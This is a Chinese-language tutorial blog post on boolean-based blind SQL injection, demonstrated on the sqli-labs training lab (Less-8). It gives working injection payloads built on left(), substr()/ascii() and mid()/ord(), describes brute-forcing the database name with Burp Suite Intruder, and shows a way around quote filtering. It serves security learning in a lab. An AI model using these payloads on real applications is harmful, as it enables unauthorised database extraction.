3.1 SQL盲注- 布尔盲注
简介:文章分为三部分:1、概要;2、详细的思维导图;3、详细的解说。
描述:概要包括该文介绍的知识点;详细的思维导图更好地理清思路,方便记忆,但对于有些对于作者比较基础的内容不会有详细的解释,建议主动了解;详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。
前面的话:操作学习的环境----Linux环境+docker+sqli-labs。环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建或私信我亲测有效的资源给你。
Tips:这些都是作者学习过的内容,文字、思维导图等都是一双手,后续会连载这系列以及丰富流程说明,欢迎沟通交流、留言,觉得必要的也可收藏关注
1、概要:
3.1 SQL盲注- 布尔盲注
布尔盲注原理
布尔盲注方法
1、left()
2、regexp
3、like()
4、substr()与ascii()
5、mid()与ord()
2、详细的思维导图:
3、详细的解说:
3.1 SQL盲注- 布尔盲注
布尔盲注原理
代码存在SQL注入漏洞然而页面即不会回显数据,也不会回显错误信息只返回“Right”与“Wrong"
这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确,这既是布尔盲注!
布尔盲注方法(拿SQLi-labs的Less-8做实操演示,推荐第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建)
1、left()
语法:left(database(),1)>'s'
解释:database()显示数据库名称,left(a,b)从左侧截取a的前b位
?id=1--返回正常
?id=1'--估计存在漏洞
?id=1' and 1=1--+
?id=1' and 1=2--+
两次返回结果页面不一致,估计是注入没得跑了,页面无数据返回,只有‘真’和‘假’,典型的布尔注入
?id=1' and left((database()),1)='s'--+
这里其实我们知道databse()为"security",左边第一位等于‘s’,显然是对的,返回正确页面;那么平时我们不知道,我们可以使用burpsuite**
截取数据,发送到intruder
清除插件默认选定
选中s,点击add
明显字符为s时,返回的长度信息不一样,可以确定database()--s开头
继续,截取左边长度2个字符,已知的s放前面,第二位我们随便设一个值,这里我用x
明显字符为s时,返回的长度信息不一样,可以确定database()--se开头,依此类推即可获取数据值。
Tips:我们语句中:?id=1' and left((database()),1)='s'--+;包含单引号',有时会被过滤,导致出错。
可修改语句为:?id=1' and ascii(left((database()),1))=97--+;即把字符转换为ascii值
2、regexp
语法:select user() regexp '^r'
解释:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
3、like()
语法:select user() like 'ro%'
解释:与regexp类似,使用like匹配
4、strsub()与ascii()
语法:ascii(substr((select database()),1,1))=98
解释: substr(a,b,c)从b的位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值(48-122)
5、 mid()与ord()
语法:ord(mid((select user()),1,1))=114
解释:mid(a,b,c)从位置b开始,截取a字符串的c位,ord()函数通ascii(),将字符转换为ascii值